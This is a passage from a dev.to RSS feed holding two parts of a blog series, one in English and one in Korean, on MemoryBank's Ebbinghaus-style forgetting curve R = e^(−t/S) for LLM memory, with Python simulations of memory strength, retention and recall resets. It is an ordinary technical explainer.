        &lt;span class="n"&gt;last_event&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;recalls&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;recalls&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;born&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;day&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;last_event&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;day&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;recall_schedule&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
            &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;recalls&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;day&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

        &lt;span class="n"&gt;R&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
        &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ALIVE&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;R&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;THRESHOLD&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DEAD&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;  &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: S=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;, t=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;d, &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
              &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;R=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;%) [&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key takeaways from the results.&lt;/p&gt;

&lt;p&gt;"lunch_menu" was never recalled. S=1, R hits 13.5% by Day 2 and 5.0% by Day 3. Dead at the 0.1 threshold on Day 3.&lt;/p&gt;

&lt;p&gt;"job_change" was recalled on Days 1, 3, 5, and 8. By Day 10, S=5, 2 days since last recall. R equals &lt;code&gt;e^(−2/5)&lt;/code&gt; = 67.0%. Still healthy.&lt;/p&gt;

&lt;p&gt;"salary_talk" was recalled almost daily starting Day 4. By Day 10, S=6, 1 day since last recall. R equals &lt;code&gt;e^(−1/6)&lt;/code&gt; = 84.6%. The strongest memory.&lt;/p&gt;

&lt;p&gt;"weekend_camp" was recalled exactly once on Day 3. S bumped to 2, but then 7 days of silence. By Day 10, R equals &lt;code&gt;e^(−7/2)&lt;/code&gt; = 3.0%. Dead.&lt;/p&gt;

&lt;p&gt;Same 10 days, completely different fates based on recall patterns. That's the core mechanism of MemoryBank at work.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mathematical Limitations of the MemoryBank Model
&lt;/h2&gt;

&lt;p&gt;The formula is clean. The gaps with reality are equally clear.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Linear S increase.&lt;/strong&gt; S goes up by exactly 1 per recall. But real human memory reinforcement is nonlinear. The first review has the biggest impact, and subsequent reviews show diminishing returns. Something like &lt;code&gt;S_new = S_old + 1/log(S_old + 1)&lt;/code&gt; would be more realistic than a flat &lt;code&gt;S_new = S_old + 1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No emotional weighting.&lt;/strong&gt; Ebbinghaus's original experiments used meaningless syllables — things like WID and ZOF. He himself acknowledged that meaningful information is forgotten roughly 10 times more slowly. MemoryBank initializes S at 1 for everything — career doubts and lunch choices alike. Emotional significance isn't factored in. An extension could use LLM-based sentiment analysis to assign differential S_init values (say, 1–3) based on emotional intensity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ambiguous time units.&lt;/strong&gt; The paper doesn't specify what unit t uses. Days? Hours? Minutes? Conversation sessions? The curve's shape changes entirely depending on the unit. This is the first parameter to lock down when deploying in production.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Recall detection criteria.&lt;/strong&gt; "This memory was recalled during conversation" is determined by FAISS search results. Does appearing in top-k count as recall? Or does it need to actually influence the response? The answer changes how frequently S gets incremented. If memories that were retrieved but never used in the response still get their S bumped, memory strength gets overestimated.&lt;/p&gt;

&lt;p&gt;These limitations are also expansion directions. The authors stating this is "an exploratory and highly simplified model" means the formula is a &lt;strong&gt;starting point&lt;/strong&gt;, not the final answer. Layer emotional weighting, nonlinear S growth, and context-aware recall detection on top of the base formula, and you get a far more sophisticated memory system.&lt;/p&gt;




&lt;p&gt;&lt;code&gt;R = e^(−t/S)&lt;/code&gt;. One formula explains the birth, reinforcement, and death of memories. Not a complex memory architecture — a 140-year-old psychological principle, transplanted onto LLMs. Simple but effective. And because it's simple, it's extensible.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"The simpler the formula, the stronger it is. Complexity is easy to implement. Simplicity is easy to extend."&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>ai</category>
      <category>llm</category>
      <category>memorybank</category>
      <category>math</category>
    </item>
    <item>
      <title>AI한테 기억을 가르치려면, 잊는 법부터 가르쳐야 한다 2/2</title>
      <dc:creator>김이더</dc:creator>
      <pubDate>Tue, 14 Apr 2026 08:05:31 +0000</pubDate>
      <link>https://dev.to/_53fb7c03dd741a6124e4e/aihante-gieogeul-gareuciryeomyeon-ijneun-beobbuteo-gareucyeoya-handa-22-185b</link>
      <guid>https://dev.to/_53fb7c03dd741a6124e4e/aihante-gieogeul-gareuciryeomyeon-ijneun-beobbuteo-gareucyeoya-handa-22-185b</guid>
      <description>&lt;p&gt;코드는 &lt;a href="https://github.com/zhongwanjun/MemoryBank-SiliconFriend" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;에, 논문은 &lt;a href="https://arxiv.org/abs/2305.10250" rel="noopener noreferrer"&gt;arXiv&lt;/a&gt;에서 볼 수 있다.&lt;br&gt;
더 많은 글은 &lt;a href="https://radarlog.kr" rel="noopener noreferrer"&gt;radarlog.kr&lt;/a&gt;에서.&lt;/p&gt;



&lt;p&gt;1편에서 MemoryBank의 아키텍처와 활용법을 다뤘다. 이번 편은 그 심장부를 열어본다. 수식 하나. &lt;code&gt;R = e^(−t/S)&lt;/code&gt;. 이 수식이 어떻게 작동하는지, S값이 변하면 곡선이 어떻게 바뀌는지, 임계값은 어디에 잡아야 하는지를 숫자로 파고든다.&lt;/p&gt;
&lt;h2&gt;
  
  
  수식을 분해한다
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;R = e^(−t/S)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;변수가 세 개다. R은 기억 보유율(0~1 사이), t는 학습 이후 경과 시간, S는 기억 강도. e는 자연상수 2.71828이다.&lt;/p&gt;

&lt;p&gt;이 수식은 지수 감쇠(exponential decay) 모델이다. 물리학에서 방사성 붕괴를 표현하는 공식과 구조가 같다. 시간이 지날수록 값이 기하급수적으로 줄어든다. 처음에 급격히 떨어지고, 나중에는 천천히 떨어진다.&lt;/p&gt;

&lt;p&gt;게임 개발자라면 익숙한 패턴이다. 파티클의 알파값 감쇠, 사운드의 페이드아웃, 데미지 오버 타임(DoT)의 틱 감소. 전부 지수 감쇠를 기반으로 한다. 망각 곡선도 같은 수학이다. 다만 대상이 데미지가 아니라 기억일 뿐이다.&lt;/p&gt;

&lt;p&gt;핵심을 짚자. 이 수식에서 진짜 중요한 건 &lt;strong&gt;t/S 비율&lt;/strong&gt;이다. t와 S가 각각 얼마인지보다, 둘의 비율이 R을 결정한다. t/S가 1이면 R은 약 0.368(36.8%). t/S가 2이면 R은 약 0.135(13.5%). t/S가 3이면 R은 약 0.050(5.0%). 비율이 1 올라갈 때마다 보유율이 대략 1/e(약 36.8%)로 줄어든다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;

&lt;span class="c1"&gt;# t/S 비율에 따른 보유율
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ratio&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="n"&gt;R&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ratio&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t/S = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ratio&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; → R = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;%)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# t/S = 0.0 → R = 1.0000 (100.0%)
# t/S = 0.5 → R = 0.6065 (60.7%)
# t/S = 1.0 → R = 0.3679 (36.8%)
# t/S = 2.0 → R = 0.1353 (13.5%)
# t/S = 3.0 → R = 0.0498 (5.0%)
# t/S = 5.0 → R = 0.0067 (0.7%)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;이게 의미하는 바는 명확하다. S가 클수록 같은 시간이 지나도 t/S 비율이 작으니까 R이 높게 유지된다. S는 곡선의 &lt;strong&gt;기울기를 완만하게 만드는 역할&lt;/strong&gt;이다.&lt;/p&gt;

&lt;h2&gt;
  
  
  S가 올라가면 곡선이 어떻게 변하나
&lt;/h2&gt;

&lt;p&gt;MemoryBank에서 S는 정수다. 처음 언급되면 1, 한 번 회상되면 2, 또 회상되면 3. 단순하다. 이 단순한 변화가 곡선에 어떤 영향을 주는지 구체적으로 본다.&lt;/p&gt;

&lt;p&gt;경과 시간 t를 "일(day)" 단위로 잡겠다. S=1인 기억이 하루가 지나면 R은 얼마인가.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# S값별, 경과일별 보유율
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;--- S = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; ---&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;t_days&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="n"&gt;R&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;t_days&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;  t=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;t_days&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;일 → R = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;%)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;결과를 정리하면 이런 그림이 나온다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;S=1일 때:  0일 100% → 1일 36.8% → 2일 13.5% → 3일 5.0% → 7일 0.1%
S=2일 때:  0일 100% → 1일 60.7% → 2일 36.8% → 3일 22.3% → 7일 3.0%
S=3일 때:  0일 100% → 1일 71.7% → 2일 51.3% → 3일 36.8% → 7일 9.7%
S=5일 때:  0일 100% → 1일 81.9% → 2일 67.0% → 3일 54.9% → 7일 24.7%
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;S=1인 기억은 하루 만에 36.8%로 추락한다. 일주일이면 0.1%. 사실상 소멸이다.&lt;/p&gt;

&lt;p&gt;S=2이면 같은 하루가 지나도 60.7%가 남는다. S=5이면 하루 후에도 81.9%. 일주일이 지나도 24.7%가 살아있다.&lt;/p&gt;

&lt;p&gt;한 번 회상할 때마다 S가 1씩 오르니까, 3번 회상된 기억(S=4)은 일주일이 지나도 17.4%가 남는다. 5번 회상된 기억(S=6)은 일주일 후에도 31.1%. 곡선이 확연히 눕는다.&lt;/p&gt;

&lt;p&gt;이걸 게임으로 비유하면 "경험치 누적에 따른 버프 지속시간 증가"와 비슷하다. 같은 버프를 여러 번 걸면 지속시간이 점점 길어지는 메커니즘. 스택이 쌓일수록 효과가 오래간다. MemoryBank의 S도 정확히 그렇다.&lt;/p&gt;

&lt;h2&gt;
  
  
  t 리셋의 수학적 의미
&lt;/h2&gt;

&lt;p&gt;S가 올라가는 것보다 &lt;strong&gt;t가 0으로 리셋되는 것&lt;/strong&gt;이 사실 더 극적인 효과를 만든다.&lt;/p&gt;

&lt;p&gt;시나리오를 하나 그려보자. 어떤 기억이 S=1 상태로 3일이 지났다. R은 &lt;code&gt;e^(−3/1)&lt;/code&gt; = 0.050, 즉 5.0%다. 거의 사라질 뻔한 기억이다.&lt;/p&gt;

&lt;p&gt;이 시점에 이 기억이 대화 중 회상됐다. MemoryBank는 S를 2로 올리고, t를 0으로 리셋한다. 이 순간 R은 &lt;code&gt;e^(−0/2)&lt;/code&gt; = 1.000, 즉 100%로 돌아간다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;회상 전:  S=1, t=3일 → R = 5.0%  (거의 소멸)
회상 후:  S=2, t=0일 → R = 100%  (완전 부활)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;5%에서 100%로. 이 점프가 핵심이다.&lt;/p&gt;

&lt;p&gt;여기서 한 가지 더. 부활한 기억은 이전보다 &lt;strong&gt;더 강하다&lt;/strong&gt;. S가 1에서 2로 올랐으니까, 다음에 같은 3일이 지나면 R이 5.0%가 아니라 22.3%가 된다. 첫 번째 생애에서는 3일이면 거의 죽었는데, 두 번째 생애에서는 3일이 지나도 아직 살아있다.&lt;/p&gt;

&lt;p&gt;이걸 반복하면 이런 패턴이 된다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# 회상 시나리오 시뮬레이션
# 기억이 3일마다 회상되는 경우
&lt;/span&gt;&lt;span class="n"&gt;memory&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;cycle&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# 3일 경과
&lt;/span&gt;    &lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="n"&gt;R_before&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

    &lt;span class="c1"&gt;# 회상 발생
&lt;/span&gt;    &lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
